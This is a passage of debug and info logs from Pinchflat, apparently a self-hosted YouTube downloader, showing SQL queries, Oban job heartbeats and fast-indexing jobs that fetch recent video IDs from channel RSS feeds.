"HY54S4JyhNY"] 18:01:29.552 [debug] QUERY OK source="media_items" db=0.3ms idle=168.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:01:29.555 [debug] QUERY OK source="media_items" db=2.9ms idle=168.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:01:29.556 [debug] QUERY OK source="tasks" db=0.0ms idle=171.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [738, 3, ~U[2026-07-24 18:01:29Z], ~U[2026-07-24 18:01:29Z]] 18:01:29.556 [info] {"args":{"id":3},"id":735,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173162,"event":"job:stop","queue_time":352313,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:01:29.556 [debug] QUERY OK source="tasks" db=0.1ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:01:57.358 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.828 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:02:27.359 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:57.360 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.828 [info] {"source":"oban","duration":120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:03:27.361 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:57.362 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.830 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:04:27.363 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:57.364 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.831 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:05:27.365 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:57.366 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.831 [info] {"source":"oban","duration":108,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:06:27.367 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:57.369 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.833 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:07:27.370 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:57.372 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.833 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:08:27.374 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:57.375 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.835 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:09:27.376 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:57.378 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.835 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:10:27.379 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:57.380 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.837 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:11:04.979 [info] {"args":{"id":2},"id":736,"meta":{},"system_time":1784916664979081189,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:11:04.979 [debug] QUERY OK source="sources" db=0.1ms idle=1979.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:11:04.979 [debug] QUERY OK source="tasks" db=0.1ms idle=1006.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:11:04.979 [debug] QUERY OK source="settings" db=0.1ms idle=979.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:11:04.979 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:11:04.979 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:11:04.979 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:11:04.979 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 18:11:05.530 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:11:05.530 [debug] QUERY OK source="media_items" db=0.2ms idle=550.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:11:05.531 [debug] QUERY OK source="media_items" db=0.2ms idle=551.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:11:05.531 [debug] QUERY OK source="tasks" db=0.0ms idle=551.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [739, 2, ~U[2026-07-24 18:11:05Z], ~U[2026-07-24 18:11:05Z]] 18:11:05.531 [info] {"args":{"id":2},"id":736,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":552693,"event":"job:stop","queue_time":334972,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:11:05.532 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:11:14.989 [info] {"args":{"id":1},"id":737,"meta":{},"system_time":1784916674989192436,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:11:14.989 [debug] QUERY OK source="sources" db=0.1ms idle=1989.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:11:14.989 [debug] QUERY OK source="tasks" db=0.1ms idle=1989.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:11:14.989 [debug] QUERY OK source="settings" db=0.3ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:11:14.989 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:11:14.990 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:11:14.990 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:11:14.990 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 18:11:15.170 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:11:15.171 [debug] QUERY OK source="media_items" db=0.2ms idle=181.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:11:15.173 [debug] QUERY OK source="media_items" db=2.1ms idle=181.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:11:15.174 [debug] QUERY OK source="tasks" db=0.1ms idle=183.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [740, 1, ~U[2026-07-24 18:11:15Z], ~U[2026-07-24 18:11:15Z]] 18:11:15.174 [info] {"args":{"id":1},"id":737,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":185280,"event":"job:stop","queue_time":387232,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:11:15.175 [debug] QUERY OK source="tasks" db=0.5ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:11:27.381 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:30.005 [info] {"args":{"id":3},"id":738,"meta":{},"system_time":1784916690005120744,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:11:30.005 [debug] QUERY OK source="sources" db=0.1ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:11:30.005 [debug] QUERY OK source="tasks" db=0.2ms idle=1005.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:11:30.005 [debug] QUERY OK source="settings" db=0.0ms idle=1005.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:11:30.005 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:11:30.006 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:11:30.006 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:11:30.006 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 18:11:30.163 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:11:30.164 [debug] QUERY OK source="media_items" db=0.4ms idle=158.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE 